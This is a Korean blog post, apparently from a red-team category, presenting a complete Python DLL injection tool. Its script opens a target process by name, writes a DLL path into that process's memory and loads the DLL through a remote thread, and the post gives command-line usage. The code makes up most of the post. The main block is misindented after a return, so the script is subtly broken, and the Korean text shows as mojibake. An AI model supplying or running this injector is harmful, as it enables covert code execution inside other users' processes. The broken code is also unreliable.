[์ •๋ณด] DLL Injection ํŒŒ์ด์ฌ ์ฝ”๋“œ

2023. 3. 15. 16:43ยท๐Ÿค–์ •๋ณด๋ณด์•ˆ/โค๏ธ๋ ˆ๋“œํŒ€

DLL Injection ๊ณต๊ฒฉ ํ๋ฆ„

  1. ์‹คํ–‰ ์ค‘์ธ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.
  2. ํ”„๋กœ์„ธ์Šค ์ฃผ์†Œ ๊ณต๊ฐ„์— ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.
  3. DLL ๊ฒฝ๋กœ๋ฅผ ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ์— ์”๋‹ˆ๋‹ค.
  4. ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค์˜ ์Šค๋ ˆ๋“œ์—์„œ DLL์„ ๋กœ๋“œํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

 

import ctypes # ctypes ๋ชจ๋“ˆ ์ž„ํฌํŠธ
import sys # sys ๋ชจ๋“ˆ ์ž„ํฌํŠธ
import os # os ๋ชจ๋“ˆ ์ž„ํฌํŠธ
import psutil # psutil ๋ชจ๋“ˆ ์ž„ํฌํŠธ

def inject_dll(target_process_name, dll_path):
    # ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค.
    target_pid = None
    for process in psutil.process_iter(['name', 'pid']):
        if process.info['name'] == target_process_name:
            target_pid = process.info['pid']
            break

    if target_pid is None:
        print(f"Process '{target_process_name}' not found.") # ์ฐพ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์—†์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
        return False # False ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

    # ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ํ•ธ๋“ค์„ ์–ป์Šต๋‹ˆ๋‹ค.
    PROCESS_ALL_ACCESS = 0x1F0FFF
    target_process_handle = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, target_pid)

    if target_process_handle is None:
        print("Failed to obtain process handle.") # ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค์„ ์–ป์„ ์ˆ˜ ์—†์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
        return False # False ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

    # ํ”„๋กœ์„ธ์Šค ์ฃผ์†Œ ๊ณต๊ฐ„์— ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•ฉ๋‹ˆ๋‹ค.
    dll_path_bytes = bytes(dll_path, 'UTF-8')
    dll_path_length = len(dll_path_bytes) + 1
    remote_memory_address = ctypes.windll.kernel32.VirtualAllocEx(target_process_handle, None, dll_path_length, 0x3000, 0x40)

    if remote_memory_address is None:
        print("Failed to allocate memory in the target process.") # ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ• ๋‹นํ•  ์ˆ˜ ์—†์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
        return False # False ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

    # DLL ๊ฒฝ๋กœ๋ฅผ ํ•ด๋‹น ๋ฉ”๋ชจ๋ฆฌ์— ์”๋‹ˆ๋‹ค.
    if ctypes.windll.kernel32.WriteProcessMemory(target_process_handle, remote_memory_address, dll_path_bytes, dll_path_length, None) == 0:
        print("Failed to write the DLL path to the target process.") # DLL ๊ฒฝ๋กœ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ์“ธ ์ˆ˜ ์—†์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
        return False # False ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

    # ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค์˜ ์Šค๋ ˆ๋“œ์—์„œ LoadLibraryA ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•˜์—ฌ DLL์„ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
    kernel32_handle = ctypes.windll.kernel32.GetModuleHandleW('kernel32.dll')
    loadlibrary_address = ctypes.windll.kernel32.GetProcAddress(kernel32_handle, 'LoadLibraryA')

    if ctypes.windll.kernel32.CreateRemoteThread(target_process_handle, None, 0, loadlibrary_address, remote_memory_address, 0, None) == 0:
        print("Failed to create remote thread in the target process.") # ์›๊ฒฉ ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์—†์œผ๋ฉด ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
        return False # False ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

    print(f"Successfully injected '{dll_path}' into '{target_process_name}'") # DLL ์ธ์ ์…˜์ด ์„ฑ๊ณตํ–ˆ์„ ๊ฒฝ์šฐ ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
    return True # True ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
    
    if __name__ == "__main__":
    if len(sys.argv) != 3: # ๋งŒ์•ฝ ๋ช…๋ น์ค„ ์ธ์ž๊ฐ€ 3๊ฐœ๊ฐ€ ์•„๋‹ˆ๋ฉด
        print("Usage: python dll_injector.py <target_process_name> <dll_path>") # ์‚ฌ์šฉ๋ฒ•์„ ์ถœ๋ ฅํ•˜๊ณ 
        sys.exit() # ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

    target_process_name = sys.argv[1] # ์ฒซ๋ฒˆ์งธ ์ธ์ž๋ฅผ target_process_name ๋ณ€์ˆ˜์— ํ• ๋‹น
    dll_path = sys.argv[2] # ๋‘๋ฒˆ์งธ ์ธ์ž๋ฅผ dll_path ๋ณ€์ˆ˜์— ํ• ๋‹น

    if not os.path.exists(dll_path): # ๋งŒ์•ฝ dll_path์— ํ•ด๋‹นํ•˜๋Š” ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด
        print(f"Error: DLL file '{dll_path}' does not exist.") # ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ 
        sys.exit() # ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

    inject_dll(target_process_name, dll_path) # inject_dll ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ DLL ์ธ์ ์…˜์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

 

์œ„ ์ฝ”๋“œ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ python dll_injector.py <target_process_name> <dll_path>์™€ ๊ฐ™์€ ํ˜•์‹์œผ๋กœ ๋ช…๋ น์ค„ ์ธ์ž๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. sys.argv ๋ฆฌ์ŠคํŠธ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ์ „๋‹ฌ๋œ ๋ช…๋ น์ค„ ์ธ์ž๋“ค์„ ๋‹ด๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

len(sys.argv)๊ฐ€ 3์ด ์•„๋‹ ๊ฒฝ์šฐ, ์Šคํฌ๋ฆฝํŠธ์˜ ์‚ฌ์šฉ๋ฒ•์„ ์ถœ๋ ฅํ•˜๊ณ  sys.exit() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

sys.argv[1]์€ target_process_name ๋ณ€์ˆ˜์— ํ• ๋‹น๋˜๊ณ , sys.argv[2]๋Š” dll_path ๋ณ€์ˆ˜์— ํ• ๋‹น๋ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ dll_path์— ํ•ด๋‹นํ•˜๋Š” ํŒŒ์ผ์ด ์กด์žฌํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ, ์—๋Ÿฌ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•ฉ๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ inject_dll ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ target_process_name ํ”„๋กœ์„ธ์Šค์— dll_path์— ํ•ด๋‹นํ•˜๋Š” DLL์„ ์ธ์ ์…˜ํ•ฉ๋‹ˆ๋‹ค.

์ €์ž‘์žํ‘œ์‹œ ๋น„์˜๋ฆฌ ๋ณ€๊ฒฝ๊ธˆ์ง€ (์ƒˆ์ฐฝ์—ด๋ฆผ)

'๐Ÿค–์ •๋ณด๋ณด์•ˆ > โค๏ธ๋ ˆ๋“œํŒ€' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[์ •๋ณด] ํ•ด์‹œ  (0) 2023.06.27
[์ •๋ณด] http ๊ณต๊ฒฉ ์Šคํ‚ฌ  (0) 2023.06.27
[์ •๋ณด] ๋‹ค๋ฅธ ์›๊ฒฉ์ง€์— ์žˆ๋Š” ํ”„๋กœ๊ทธ๋žจ๊ณผ ํ†ต์‹ ํ•˜๋Š” ๋ฐฉ๋ฒ•  (0) 2023.02.15
[์ •๋ณด] HTTPs/TLS Attacks์ด๋ž€  (0) 2023.02.15
[์ •๋ณด] ๋ฆฌ๋ฒ„์‹ฑ ๊ธฐ์ดˆ ๊ฐœ๋…  (0) 2023.02.15
'๐Ÿค–์ •๋ณด๋ณด์•ˆ/โค๏ธ๋ ˆ๋“œํŒ€' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • [์ •๋ณด] ํ•ด์‹œ
  • [์ •๋ณด] http ๊ณต๊ฒฉ ์Šคํ‚ฌ
  • [์ •๋ณด] ๋‹ค๋ฅธ ์›๊ฒฉ์ง€์— ์žˆ๋Š” ํ”„๋กœ๊ทธ๋žจ๊ณผ ํ†ต์‹ ํ•˜๋Š” ๋ฐฉ๋ฒ•
  • [์ •๋ณด] HTTPs/TLS Attacks์ด๋ž€
TwoIceFish
TwoIceFish
https://github.com/TwoIceFIsh
  • TwoIceFish
    Cyber-Luna
    TwoIceFish
  • ์ „์ฒด
    ์˜ค๋Š˜
    ์–ด์ œ
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (593)
      • ๐Ÿค–์ •๋ณด๋ณด์•ˆ (77)
        • ๐Ÿ’™๋ธ”๋ฃจํŒ€ (24)
        • โค๏ธ๋ ˆ๋“œํŒ€ (21)
        • ๐Ÿ’œํผํ”ŒํŒ€ (1)
        • ๐Ÿ’ 1๋ถ„์ง€์‹ (30)
      • ํ”„๋กœ์ ํŠธ (14)
        • ๐Ÿ’Œ ์ •๋ณด๋ณด์•ˆ ๋ฉ”์ผ๋ง ์‹œ์Šคํ…œ (8)
        • ๐Ÿ” ์ธ์ฆ์„œ ๊ด€๋ฆฌ ์‹œ์Šคํ…œ (1)
        • ๐Ÿ ๊ธˆ์œต ์ปค๋ฎค๋‹ˆํ‹ฐ (5)
      • ๐Ÿžํ”„๋กœ๊ทธ๋ž˜๋ฐ (49)
        • Next.js (9)
      • ๊ธฐํƒ€์ •๋ณด (68)
        • ๐ŸŒ๊ทธ๋ฆฟ์š”๊ฑฐํŠธ (11)
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
    • ๋ฐฉ๋ช…๋ก
    • ๋กœ์ผ“ํŽ€์น˜
    • ๊นƒํ—ˆ๋ธŒ
    • ์ฝ”์ฝ”๋„ˆ์ธ 
    • ๊ทธ๋ฆฟ์š”๊ฑฐํŠธ
  • ๋งํฌ

  • ๊ณต์ง€์‚ฌํ•ญ

    • ์•ˆ๋…•ํ•˜์„ธ์š”
  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    ๋ฉ”์ผํ—ค๋”๋ถ„์„
    jsp 200
    ํ†ฐ์บฃ ์„œ๋ธ”๋ฆฟ
    eclipse
    ์™€์ดํŒŒ์ด ๋น„๋ฐ€๋ฒˆํ˜ธ ํƒˆ์ทจ
    ๋ถ€๋™์‚ฐ ์ˆ˜์ต๋ฅ  ๊ณ„์‚ฐ๊ธฐ
    ์ˆ˜์ต๋ฅ  ๊ณ„์‚ฐ๊ธฐ
    tomcat servlet
    vpn ์„ค์น˜
    ์ฝ”์ฝ”๋„›์ธ 
    ์‘๋‹ต์—†์Œ
    ์„œ๋ธŒ๋„๋ฉ”์ธ ์ธ์ฆ์„œ
    ์ง€๊ฐ‘ ์•ฑ์— ์นด๋“œ ์ถ”๊ฐ€
    ๋ฐฉ๋ฒ™
    ์•…์„ฑ๋ฉ”์žƒ๋ถ„์„
    ๋ถ€ํŠธ์ŠคํŠธ๋žฉ
    ์•…์„ฑ๋ฉ”์ผ
    jsp
    SKํ•˜์ด๋‹‰์Šค
    ์ธ์ฆ์„œ ์—ฌ๋Ÿฌ๊ฐœ
    Visual Studio
    ์œ ๋‹ˆํ‹ฐ
    ์• ํ”ŒํŽ˜์ด ์„ค์ •๋ฐฉ๋ฒ•
    vpn ์˜คํ”ˆ์†Œ์Šค
    ๋ชจ์˜ํ•ดํ‚น
    ์‚ผ์„ฑ์ „์ž์šฐ
    nmap
    ๋‹จ์ผ ๋„๋ฉ”์ธ ์ธ์ฆ์„œ ์—ฌ๋Ÿฌ๊ฐœ
    ISMS-P
    servlet 404
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • hELLOยท Designed By์ •์ƒ์šฐ.v4.10.0
TwoIceFish
[์ •๋ณด] DLL Injection ํŒŒ์ด์ฌ ์ฝ”๋“œ
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”